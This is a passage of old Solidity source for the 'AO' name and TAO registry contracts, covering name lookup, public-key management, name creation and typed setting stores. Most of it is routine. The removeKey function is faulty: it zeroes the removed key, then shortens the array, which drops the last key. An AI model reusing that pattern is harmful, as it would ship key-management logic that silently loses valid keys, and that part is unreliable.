&& _value <= MAX_SUPPLY_PER_NAME); require (taoStakedBalance[_nameId][_taoId] >= _value); // Check if the targeted staked balance is enough require (totalTAOStakedBalance[_taoId] >= _value); // Check if the total targeted staked balance is enough taoStakedBalance[_nameId][_taoId] = taoStakedBalance[_nameId][_taoId].sub(_value); // Subtract from the targeted staked balance totalTAOStakedBalance[_taoId] = totalTAOStakedBalance[_taoId].sub(_value); balanceOf[_nameId] = balanceOf[_nameId].add(_value); // Add to the targeted balance emit Unstake(_nameId, _taoId, _value); return true; } } /** * @title NameTAOLookup * */ contract NameTAOLookup is TheAO { address public nameFactoryAddress; address public taoFactoryAddress; struct NameTAOInfo { string name; address nameTAOAddress; string parentName; uint256 typeId; // 0 = TAO. 1 = Name } uint256 public internalId; uint256 public totalNames; uint256 public totalTAOs; mapping (uint256 => NameTAOInfo) internal nameTAOInfos; mapping (bytes32 => uint256) internal internalIdLookup; /** * @dev Constructor function */ constructor(address _nameFactoryAddress) public { nameFactoryAddress = _nameFactoryAddress; } /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate */ modifier onlyTheAO { require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } /** * @dev Check if calling address is Factory */ modifier onlyFactory { require (msg.sender == nameFactoryAddress || msg.sender == taoFactoryAddress); _; } /***** The AO ONLY METHODS *****/ /** * @dev The AO set the NameTAOPosition Address * @param _nameTAOPositionAddress The address of NameTAOPosition */ function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO { require (_nameTAOPositionAddress != address(0)); nameTAOPositionAddress = _nameTAOPositionAddress; } /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } /** * @dev The AO set the taoFactoryAddress Address * @param _taoFactoryAddress The address of TAOFactory */ function setTAOFactoryAddress(address _taoFactoryAddress) public onlyTheAO { require (_taoFactoryAddress != address(0)); taoFactoryAddress = _taoFactoryAddress; } /***** PUBLIC METHODS *****/ /** * @dev Check whether or not a name exist in the list * @param _name The name to be checked * @return true if yes, false otherwise */ function isExist(string _name) public view returns (bool) { bytes32 _nameKey = keccak256(abi.encodePacked(_name)); return (internalIdLookup[_nameKey] > 0); } /** * @dev Add a new NameTAOInfo * @param _name The name of the Name/TAO * @param _nameTAOAddress The address of the Name/TAO * @param _parentName The parent name of the Name/TAO * @param _typeId If TAO = 0. Name = 1 * @return true on success */ function add(string _name, address _nameTAOAddress, string _parentName, uint256 _typeId) public onlyFactory returns (bool) { require (bytes(_name).length > 0); require (_nameTAOAddress != address(0)); require (bytes(_parentName).length > 0); require (_typeId == 0 || _typeId == 1); require (!isExist(_name)); internalId++; bytes32 _nameKey = keccak256(abi.encodePacked(_name)); internalIdLookup[_nameKey] = internalId; NameTAOInfo storage _nameTAOInfo = nameTAOInfos[internalId]; _nameTAOInfo.name = _name; _nameTAOInfo.nameTAOAddress = _nameTAOAddress; _nameTAOInfo.parentName = _parentName; _nameTAOInfo.typeId = _typeId; if (_typeId == 0) { totalTAOs++; } else { totalNames++; } return true; } /** * @dev Get the NameTAOInfo given a name * @param _name The name to be queried * @return the name of Name/TAO * @return the address of Name/TAO * @return the parent name of Name/TAO * @return type ID. 0 = TAO. 1 = Name */ function getByName(string _name) public view returns (string, address, string, uint256) { require (isExist(_name)); bytes32 _nameKey = keccak256(abi.encodePacked(_name)); NameTAOInfo memory _nameTAOInfo = nameTAOInfos[internalIdLookup[_nameKey]]; return ( _nameTAOInfo.name, _nameTAOInfo.nameTAOAddress, _nameTAOInfo.parentName, _nameTAOInfo.typeId ); } /** * @dev Get the NameTAOInfo given an ID * @param _internalId The internal ID to be queried * @return the name of Name/TAO * @return the address of Name/TAO * @return the parent name of Name/TAO * @return type ID. 0 = TAO. 1 = Name */ function getByInternalId(uint256 _internalId) public view returns (string, address, string, uint256) { require (nameTAOInfos[_internalId].nameTAOAddress != address(0)); NameTAOInfo memory _nameTAOInfo = nameTAOInfos[_internalId]; return ( _nameTAOInfo.name, _nameTAOInfo.nameTAOAddress, _nameTAOInfo.parentName, _nameTAOInfo.typeId ); } /** * @dev Return the nameTAOAddress given a _name * @param _name The name to be queried * @return the nameTAOAddress of the name */ function getAddressByName(string _name) public view returns (address) { require (isExist(_name)); bytes32 _nameKey = keccak256(abi.encodePacked(_name)); NameTAOInfo memory _nameTAOInfo = nameTAOInfos[internalIdLookup[_nameKey]]; return _nameTAOInfo.nameTAOAddress; } } /** * @title NamePublicKey */ contract NamePublicKey { using SafeMath for uint256; address public nameFactoryAddress; NameFactory internal _nameFactory; NameTAOPosition internal _nameTAOPosition; struct PublicKey { bool created; address defaultKey; address[] keys; } // Mapping from nameId to its PublicKey mapping (address => PublicKey) internal publicKeys; // Event to be broadcasted to public when a publicKey is added to a Name event AddKey(address indexed nameId, address publicKey, uint256 nonce); // Event to be broadcasted to public when a publicKey is removed from a Name event RemoveKey(address indexed nameId, address publicKey, uint256 nonce); // Event to be broadcasted to public when a publicKey is set as default for a Name event SetDefaultKey(address indexed nameId, address publicKey, uint256 nonce); /** * @dev Constructor function */ constructor(address _nameFactoryAddress, address _nameTAOPositionAddress) public { nameFactoryAddress = _nameFactoryAddress; _nameFactory = NameFactory(_nameFactoryAddress); _nameTAOPosition = NameTAOPosition(_nameTAOPositionAddress); } /** * @dev Check if calling address is Factory */ modifier onlyFactory { require (msg.sender == nameFactoryAddress); _; } /** * @dev Check if `_nameId` is a Name */ modifier isName(address _nameId) { require (AOLibrary.isName(_nameId)); _; } /** * @dev Check if msg.sender is the current advocate of Name ID */ modifier onlyAdvocate(address _id) { require (_nameTAOPosition.senderIsAdvocate(msg.sender, _id)); _; } /***** PUBLIC METHODS *****/ /** * @dev Check whether or not a Name ID exist in the list of Public Keys * @param _id The ID to be checked * @return true if yes, false otherwise */ function isExist(address _id) public view returns (bool) { return publicKeys[_id].created; } /** * @dev Store the PublicKey info for a Name * @param _id The ID of the Name * @param _defaultKey The default public key for this Name * @return true on success */ function add(address _id, address _defaultKey) public isName(_id) onlyFactory returns (bool) { require (!isExist(_id)); require (_defaultKey != address(0)); PublicKey storage _publicKey = publicKeys[_id]; _publicKey.created = true; _publicKey.defaultKey = _defaultKey; _publicKey.keys.push(_defaultKey); return true; } /** * @dev Get total publicKeys count for a Name * @param _id The ID of the Name * @return total publicKeys count */ function getTotalPublicKeysCount(address _id) public isName(_id) view returns (uint256) { require (isExist(_id)); return publicKeys[_id].keys.length; } /** * @dev Check whether or not a publicKey exist in the list for a Name * @param _id The ID of the Name * @param _key The publicKey to check * @return true if yes. false otherwise */ function isKeyExist(address _id, address _key) isName(_id) public view returns (bool) { require (isExist(_id)); require (_key != address(0)); PublicKey memory _publicKey = publicKeys[_id]; for (uint256 i = 0; i < _publicKey.keys.length; i++) { if (_publicKey.keys[i] == _key) { return true; } } return false; } /** * @dev Add publicKey to list for a Name * @param _id The ID of the Name * @param _key The publicKey to be added */ function addKey(address _id, address _key) public isName(_id) onlyAdvocate(_id) { require (!isKeyExist(_id, _key)); PublicKey storage _publicKey = publicKeys[_id]; _publicKey.keys.push(_key); uint256 _nonce = _nameFactory.incrementNonce(_id); require (_nonce > 0); emit AddKey(_id, _key, _nonce); } /** * @dev Get default public key of a Name * @param _id The ID of the Name * @return the default public key */ function getDefaultKey(address _id) public isName(_id) view returns (address) { require (isExist(_id)); return publicKeys[_id].defaultKey; } /** * @dev Get list of publicKeys of a Name * @param _id The ID of the Name * @param _from The starting index * @param _to The ending index * @return list of publicKeys */ function getKeys(address _id, uint256 _from, uint256 _to) public isName(_id) view returns (address[]) { require (isExist(_id)); require (_from >= 0 && _to >= _from); PublicKey memory _publicKey = publicKeys[_id]; require (_publicKey.keys.length > 0); address[] memory _keys = new address[](_to.sub(_from).add(1)); if (_to > _publicKey.keys.length.sub(1)) { _to = _publicKey.keys.length.sub(1); } for (uint256 i = _from; i <= _to; i++) { _keys[i.sub(_from)] = _publicKey.keys[i]; } return _keys; } /** * @dev Remove publicKey from the list * @param _id The ID of the Name * @param _key The publicKey to be removed */ function removeKey(address _id, address _key) public isName(_id) onlyAdvocate(_id) { require (isExist(_id)); require (isKeyExist(_id, _key)); PublicKey storage _publicKey = publicKeys[_id]; // Can't remove default key require (_key != _publicKey.defaultKey); require (_publicKey.keys.length > 1); for (uint256 i = 0; i < _publicKey.keys.length; i++) { if (_publicKey.keys[i] == _key) { delete _publicKey.keys[i]; _publicKey.keys.length--; uint256 _nonce = _nameFactory.incrementNonce(_id); break; } } require (_nonce > 0); emit RemoveKey(_id, _key, _nonce); } /** * @dev Set a publicKey as the default for a Name * @param _id The ID of the Name * @param _defaultKey The defaultKey to be set * @param _signatureV The V part of the signature for this update * @param _signatureR The R part of the signature for this update * @param _signatureS The S part of the signature for this update */ function setDefaultKey(address _id, address _defaultKey, uint8 _signatureV, bytes32 _signatureR, bytes32 _signatureS) public isName(_id) onlyAdvocate(_id) { require (isExist(_id)); require (isKeyExist(_id, _defaultKey)); bytes32 _hash = keccak256(abi.encodePacked(address(this), _id, _defaultKey)); require (ecrecover(_hash, _signatureV, _signatureR, _signatureS) == msg.sender); PublicKey storage _publicKey = publicKeys[_id]; _publicKey.defaultKey = _defaultKey; uint256 _nonce = _nameFactory.incrementNonce(_id); require (_nonce > 0); emit SetDefaultKey(_id, _defaultKey, _nonce); } } /** * @title NameFactory * * The purpose of this contract is to allow node to create Name */ contract NameFactory is TheAO { using SafeMath for uint256; address public positionAddress; address public nameTAOVaultAddress; address public nameTAOLookupAddress; address public namePublicKeyAddress; Position internal _position; NameTAOLookup internal _nameTAOLookup; NameTAOPosition internal _nameTAOPosition; NamePublicKey internal _namePublicKey; address[] internal names; // Mapping from eth address to Name ID mapping (address => address) public ethAddressToNameId; // Mapping from Name ID to its nonce mapping (address => uint256) public nonces; // Event to be broadcasted to public when a Name is created event CreateName(address indexed ethAddress, address nameId, uint256 index, string name); /** * @dev Constructor function */ constructor(address _positionAddress, address _nameTAOVaultAddress) public { positionAddress = _positionAddress; nameTAOVaultAddress = _nameTAOVaultAddress; _position = Position(positionAddress); } /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate */ modifier onlyTheAO { require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } /** * @dev Checks if calling address can update Name's nonce */ modifier canUpdateNonce { require (msg.sender == nameTAOPositionAddress || msg.sender == namePublicKeyAddress); _; } /***** The AO ONLY METHODS *****/ /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } /** * @dev The AO set the NameTAOLookup Address * @param _nameTAOLookupAddress The address of NameTAOLookup */ function setNameTAOLookupAddress(address _nameTAOLookupAddress) public onlyTheAO { require (_nameTAOLookupAddress != address(0)); nameTAOLookupAddress = _nameTAOLookupAddress; _nameTAOLookup = NameTAOLookup(nameTAOLookupAddress); } /** * @dev The AO set the NameTAOPosition Address * @param _nameTAOPositionAddress The address of NameTAOPosition */ function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO { require (_nameTAOPositionAddress != address(0)); nameTAOPositionAddress = _nameTAOPositionAddress; _nameTAOPosition = NameTAOPosition(nameTAOPositionAddress); } /** * @dev The AO set the NamePublicKey Address * @param _namePublicKeyAddress The address of NamePublicKey */ function setNamePublicKeyAddress(address _namePublicKeyAddress) public onlyTheAO { require (_namePublicKeyAddress != address(0)); namePublicKeyAddress = _namePublicKeyAddress; _namePublicKey = NamePublicKey(namePublicKeyAddress); } /***** PUBLIC METHODS *****/ /** * @dev Increment the nonce of a Name * @param _nameId The ID of the Name * @return current nonce */ function incrementNonce(address _nameId) public canUpdateNonce returns (uint256) { // Check if _nameId exist require (nonces[_nameId] > 0); nonces[_nameId]++; return nonces[_nameId]; } /** * @dev Create a Name * @param _name The name of the Name * @param _datHash The datHash to this Name's profile * @param _database The database for this Name * @param _keyValue The key/value pair to be checked on the database * @param _contentId The contentId related to this Name */ function createName(string _name, string _datHash, string _database, string _keyValue, bytes32 _contentId) public { require (bytes(_name).length > 0); require (!_nameTAOLookup.isExist(_name)); // Only one Name per ETH address require (ethAddressToNameId[msg.sender] == address(0)); // The address is the Name ID (which is also a TAO ID) address nameId = new Name(_name, msg.sender, _datHash, _database, _keyValue, _contentId, nameTAOVaultAddress); // Increment the nonce nonces[nameId]++; ethAddressToNameId[msg.sender] = nameId; // Store the name lookup information require (_nameTAOLookup.add(_name, nameId, 'human', 1)); // Store the Advocate/Listener/Speaker information require (_nameTAOPosition.add(nameId, nameId, nameId, nameId)); // Store the public key information require (_namePublicKey.add(nameId, msg.sender)); names.push(nameId); // Need to mint Position token for this Name require (_position.mintToken(nameId)); emit CreateName(msg.sender, nameId, names.length.sub(1), _name); } /** * @dev Get Name information * @param _nameId The ID of the Name to be queried * @return The name of the Name * @return The originId of the Name (in this case, it's the creator node's ETH address) * @return The datHash of the Name * @return The database of the Name * @return The keyValue of the Name * @return The contentId of the Name * @return The typeId of the Name */ function getName(address _nameId) public view returns (string, address, string, string, string, bytes32, uint8) { Name _name = Name(_nameId); return ( _name.name(), _name.originId(), _name.datHash(), _name.database(), _name.keyValue(), _name.contentId(), _name.typeId() ); } /** * @dev Get total Names count * @return total Names count */ function getTotalNamesCount() public view returns (uint256) { return names.length; } /** * @dev Get list of Name IDs * @param _from The starting index * @param _to The ending index * @return list of Name IDs */ function getNameIds(uint256 _from, uint256 _to) public view returns (address[]) { require (_from >= 0 && _to >= _from); require (names.length > 0); address[] memory _names = new address[](_to.sub(_from).add(1)); if (_to > names.length.sub(1)) { _to = names.length.sub(1); } for (uint256 i = _from; i <= _to; i++) { _names[i.sub(_from)] = names[i]; } return _names; } /** * @dev Check whether or not the signature is valid * @param _data The signed string data * @param _nonce The signed uint256 nonce (should be Name's current nonce + 1) * @param _validateAddress The ETH address to be validated (optional) * @param _name The name of the Name * @param _signatureV The V part of the signature * @param _signatureR The R part of the signature * @param _signatureS The S part of the signature * @return true if valid. false otherwise */ function validateNameSignature( string _data, uint256 _nonce, address _validateAddress, string _name, uint8 _signatureV, bytes32 _signatureR, bytes32 _signatureS ) public view returns (bool) { require (_nameTAOLookup.isExist(_name)); address _nameId = _nameTAOLookup.getAddressByName(_name); address _signatureAddress = AOLibrary.getValidateSignatureAddress(address(this), _data, _nonce, _signatureV, _signatureR, _signatureS); if (_validateAddress != address(0)) { return ( _nonce == nonces[_nameId].add(1) && _signatureAddress == _validateAddress && _namePublicKey.isKeyExist(_nameId, _validateAddress) ); } else { return ( _nonce == nonces[_nameId].add(1) && _signatureAddress == _namePublicKey.getDefaultKey(_nameId) ); } } } /** * @title AOStringSetting * * This contract stores all AO string setting variables */ contract AOStringSetting is TheAO { // Mapping from settingId to it's actual string value mapping (uint256 => string) public settingValue; // Mapping from settingId to it's potential string value that is at pending state mapping (uint256 => string) public pendingValue; /** * @dev Constructor function */ constructor() public {} /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate */ modifier onlyTheAO { require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } /***** The AO ONLY METHODS *****/ /** * @dev The AO set the NameTAOPosition Address * @param _nameTAOPositionAddress The address of NameTAOPosition */ function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO { require (_nameTAOPositionAddress != address(0)); nameTAOPositionAddress = _nameTAOPositionAddress; } /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } /***** PUBLIC METHODS *****/ /** * @dev Set pending value * @param _settingId The ID of the setting * @param _value The string value to be set */ function setPendingValue(uint256 _settingId, string _value) public inWhitelist { pendingValue[_settingId] = _value; } /** * @dev Move value from pending to setting * @param _settingId The ID of the setting */ function movePendingToSetting(uint256 _settingId) public inWhitelist { string memory _tempValue = pendingValue[_settingId]; delete pendingValue[_settingId]; settingValue[_settingId] = _tempValue; } } /** * @title AOBytesSetting * * This contract stores all AO bytes32 setting variables */ contract AOBytesSetting is TheAO { // Mapping from settingId to it's actual bytes32 value mapping (uint256 => bytes32) public settingValue; // Mapping from settingId to it's potential bytes32 value that is at pending state mapping (uint256 => bytes32) public pendingValue; /** * @dev Constructor function */ constructor() public {} /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate */ modifier onlyTheAO { require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } /***** The AO ONLY METHODS *****/ /** * @dev The AO set the NameTAOPosition Address * @param _nameTAOPositionAddress The address of NameTAOPosition */ function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO { require (_nameTAOPositionAddress != address(0)); nameTAOPositionAddress = _nameTAOPositionAddress; } /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } /***** PUBLIC METHODS *****/ /** * @dev Set pending value * @param _settingId The ID of the setting * @param _value The bytes32 value to be set */ function setPendingValue(uint256 _settingId, bytes32 _value) public inWhitelist { pendingValue[_settingId] = _value; } /** * @dev Move value from pending to setting * @param _settingId The ID of the setting */ function movePendingToSetting(uint256 _settingId) public inWhitelist { bytes32 _tempValue = pendingValue[_settingId]; delete pendingValue[_settingId]; settingValue[_settingId] = _tempValue; } } /** * @title AOAddressSetting * * This contract stores all AO address setting variables */ contract AOAddressSetting is TheAO { // Mapping from settingId to it's actual address value mapping (uint256 => address) public settingValue; // Mapping from settingId to it's potential address value that is at pending state mapping (uint256 => address) public pendingValue; /** * @dev Constructor function */ constructor() public {} /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate */ modifier onlyTheAO { require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } /***** The AO ONLY METHODS *****/ /** * @dev The AO set the NameTAOPosition Address * @param _nameTAOPositionAddress The address of NameTAOPosition */ function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO { require (_nameTAOPositionAddress != address(0)); nameTAOPositionAddress = _nameTAOPositionAddress; } /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } /***** PUBLIC METHODS *****/ /** * @dev Set pending value * @param _settingId The ID of the setting * @param _value The address value to be set */ function setPendingValue(uint256 _settingId, address _value) public inWhitelist { pendingValue[_settingId] = _value; } /** * @dev Move value from pending to setting * @param _settingId The ID of the setting */ function movePendingToSetting(uint256 _settingId) public inWhitelist { address _tempValue = pendingValue[_settingId]; delete pendingValue[_settingId]; settingValue[_settingId] = _tempValue; } } /** * @title AOBoolSetting * * This contract stores all AO bool setting variables */ contract AOBoolSetting is TheAO { // Mapping from settingId to it's actual bool value mapping (uint256 => bool) public settingValue; // Mapping from settingId to it's potential bool value that is at pending state mapping (uint256 => bool) public pendingValue; /** * @dev Constructor function */ constructor() public {} /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate */ modifier onlyTheAO { require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } /***** The AO ONLY METHODS *****/ /** * @dev The AO set the NameTAOPosition Address * @param _nameTAOPositionAddress The address of NameTAOPosition */ function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO { require (_nameTAOPositionAddress != address(0)); nameTAOPositionAddress = _nameTAOPositionAddress; } /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } /***** PUBLIC METHODS *****/ /** * @dev Set pending value * @param _settingId The ID of the setting * @param _value The bool value to be set */ function setPendingValue(uint256 _settingId, bool _value) public inWhitelist { pendingValue[_settingId] = _value; } /** * @dev Move value from pending to setting * @param _settingId The ID of the setting */ function movePendingToSetting(uint256 _settingId) public inWhitelist { bool _tempValue = pendingValue[_settingId]; delete pendingValue[_settingId]; settingValue[_settingId] = _tempValue; } } /** * @title AOUintSetting * * This contract stores all AO uint256 setting variables */ contract AOUintSetting is TheAO { // Mapping from settingId to it's actual uint256 value mapping (uint256 => uint256) public settingValue; // Mapping from settingId to it's potential uint256 value that is at pending state mapping (uint256 => uint256) public pendingValue; /** * @dev Constructor function */ constructor() public {} /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate */ modifier onlyTheAO { require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } /***** The AO ONLY METHODS *****/ /** * @dev The AO set the NameTAOPosition Address * @param _nameTAOPositionAddress The address of NameTAOPosition */ function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO { require (_nameTAOPositionAddress != address(0)); nameTAOPositionAddress = _nameTAOPositionAddress; } /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } /***** PUBLIC METHODS *****/ /** * @dev Set pending value * @param _settingId The ID of the setting * @param _value The uint256 value to be set */ function setPendingValue(uint256 _settingId, uint256 _value) public inWhitelist { pendingValue[_settingId] = _value; } /** * @dev Move value from pending to setting * @param _settingId The ID of the setting */ function movePendingToSetting(uint256 _settingId) public inWhitelist { uint256 _tempValue = pendingValue[_settingId]; delete pendingValue[_settingId]; settingValue[_settingId] = _tempValue; } } /** * @title AOSettingAttribute * * This contract stores all AO setting data/state */ contract AOSettingAttribute is TheAO { NameTAOPosition internal _nameTAOPosition; struct SettingData { uint256 settingId; // Identifier of this setting address creatorNameId; // The nameId that created the setting address creatorTAOId; // The taoId that created the setting address associatedTAOId; // The taoId that the setting affects string settingName; // The human-readable name of the setting /** * 1 => uint256 * 2 => bool * 3 => address * 4 => bytes32 * 5 => string (catch all) */ uint8 settingType; bool pendingCreate; // State when associatedTAOId has not accepted setting bool locked; // State when pending anything (cannot change if locked) bool rejected; // State when associatedTAOId rejected this setting string settingDataJSON; // Catch-all } struct SettingState { uint256 settingId; // Identifier of this setting bool pendingUpdate; // State when setting is in process of being updated address updateAdvocateNameId; // The nameId of the Advocate that performed the update /** * A child of the associatedTAOId with the update Logos. * This tells the setting contract that there is a proposal TAO that is a Child TAO * of the associated TAO, which will be responsible for deciding if the update to the * setting is accepted or rejected. */ address proposalTAOId; /** * Signature of the proposalTAOId and update value by the associatedTAOId * Advocate's Name's address. */ string updateSignature; /** * The proposalTAOId moves here when setting value changes successfully */ address lastUpdateTAOId; string settingStateJSON; // Catch-all } struct SettingDeprecation { uint256 settingId; // Identifier of this setting address creatorNameId; // The nameId that created this deprecation address creatorTAOId; // The taoId that created this deprecation address associatedTAOId; // The taoId that the setting affects bool pendingDeprecated; // State when associatedTAOId has not accepted setting bool locked; // State when pending anything (cannot change if locked) bool rejected; // State when associatedTAOId rejected this setting bool migrated; // State when this setting is fully migrated // holds the pending new settingId value when a deprecation is set uint256 pendingNewSettingId; // holds the new settingId that has been approved by associatedTAOId uint256 newSettingId; // holds the pending new contract address for this setting address pendingNewSettingContractAddress; // holds the new contract address for this setting address newSettingContractAddress; } struct AssociatedTAOSetting { bytes32 associatedTAOSettingId; // Identifier address associatedTAOId; // The TAO ID that the setting is associated to uint256 settingId; // The Setting ID that is associated with the TAO ID } struct CreatorTAOSetting { bytes32 creatorTAOSettingId; // Identifier address creatorTAOId; // The TAO ID that the setting was created from uint256 settingId; // The Setting ID created from the TAO ID } struct AssociatedTAOSettingDeprecation { bytes32 associatedTAOSettingDeprecationId; // Identifier address associatedTAOId; // The TAO ID that the setting is associated to uint256 settingId; // The Setting ID that is associated with the TAO ID } struct CreatorTAOSettingDeprecation { bytes32 creatorTAOSettingDeprecationId; // Identifier address creatorTAOId; // The TAO ID that the setting was created from uint256 settingId; // The Setting ID created from the TAO ID } // Mapping from settingId to it's data mapping (uint256 => SettingData) internal settingDatas; // Mapping from settingId to it's state mapping (uint256 => SettingState) internal settingStates; // Mapping from settingId to it's deprecation info mapping (uint256 => SettingDeprecation) internal settingDeprecations; // Mapping from associatedTAOSettingId to AssociatedTAOSetting mapping (bytes32 => AssociatedTAOSetting) internal associatedTAOSettings; // Mapping from creatorTAOSettingId to CreatorTAOSetting mapping (bytes32 => CreatorTAOSetting) internal creatorTAOSettings; // Mapping from associatedTAOSettingDeprecationId to AssociatedTAOSettingDeprecation mapping (bytes32 => AssociatedTAOSettingDeprecation) internal associatedTAOSettingDeprecations; // Mapping from creatorTAOSettingDeprecationId to CreatorTAOSettingDeprecation mapping (bytes32 => CreatorTAOSettingDeprecation) internal creatorTAOSettingDeprecations; /** * @dev Constructor function */ constructor(address _nameTAOPositionAddress) public { nameTAOPositionAddress = _nameTAOPositionAddress; _nameTAOPosition = NameTAOPosition(_nameTAOPositionAddress); } /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate */ modifier onlyTheAO { require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } /***** The AO ONLY METHODS *****/ /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } /** * @dev Add setting data/state * @param _settingId The ID of the setting * @param _creatorNameId The nameId that created the setting * @param _settingType The type of this setting. 1 => uint256, 2 => bool, 3 => address, 4 => bytes32, 5 => string * @param _settingName The human-readable name of the setting * @param _creatorTAOId The taoId that created the setting * @param _associatedTAOId The taoId that the setting affects * @param _extraData Catch-all string value to be stored if exist * @return The ID of the "Associated" setting * @return The ID of the "Creator" setting */ function add(uint256 _settingId, address _creatorNameId, uint8 _settingType, string _settingName, address _creatorTAOId, address _associatedTAOId, string _extraData) public inWhitelist returns (bytes32, bytes32) { // Store setting data/state require (_storeSettingDataState(_settingId, _creatorNameId, _settingType, _settingName, _creatorTAOId, _associatedTAOId, _extraData)); // Store the associatedTAOSetting info bytes32 _associatedTAOSettingId = keccak256(abi.encodePacked(this, _associatedTAOId, _settingId)); AssociatedTAOSetting storage _associatedTAOSetting = associatedTAOSettings[_associatedTAOSettingId]; _associatedTAOSetting.associatedTAOSettingId = _associatedTAOSettingId; _associatedTAOSetting.associatedTAOId = _associatedTAOId; _associatedTAOSetting.settingId = _settingId; // Store the creatorTAOSetting info bytes32 _creatorTAOSettingId = keccak256(abi.encodePacked(this, _creatorTAOId, _settingId)); CreatorTAOSetting storage _creatorTAOSetting = creatorTAOSettings[_creatorTAOSettingId]; _creatorTAOSetting.creatorTAOSettingId = _creatorTAOSettingId; _creatorTAOSetting.creatorTAOId = _creatorTAOId; _creatorTAOSetting.settingId = _settingId; return (_associatedTAOSettingId, _creatorTAOSettingId); } /** * @dev Get Setting Data of a setting ID * @param _settingId The ID of the setting */ function getSettingData(uint256 _settingId) public view returns (uint256, address, address, address, string, uint8, bool, bool, bool, string) { SettingData memory _settingData = settingDatas[_settingId]; return ( _settingData.settingId, _settingData.creatorNameId, _settingData.creatorTAOId, _settingData.associatedTAOId, _settingData.settingName, _settingData.settingType, _settingData.pendingCreate, _settingData.locked, _settingData.rejected, _settingData.settingDataJSON ); } /** * @dev Get Associated TAO Setting info * @param _associatedTAOSettingId The ID of the associated tao setting */ function getAssociatedTAOSetting(bytes32 _associatedTAOSettingId) public view returns (bytes32, address, uint256) { AssociatedTAOSetting memory _associatedTAOSetting = associatedTAOSettings[_associatedTAOSettingId]; return ( _associatedTAOSetting.associatedTAOSettingId, _associatedTAOSetting.associatedTAOId, _associatedTAOSetting.settingId ); } /** * @dev Get Creator TAO Setting info * @param _creatorTAOSettingId The ID of the creator tao setting */ function 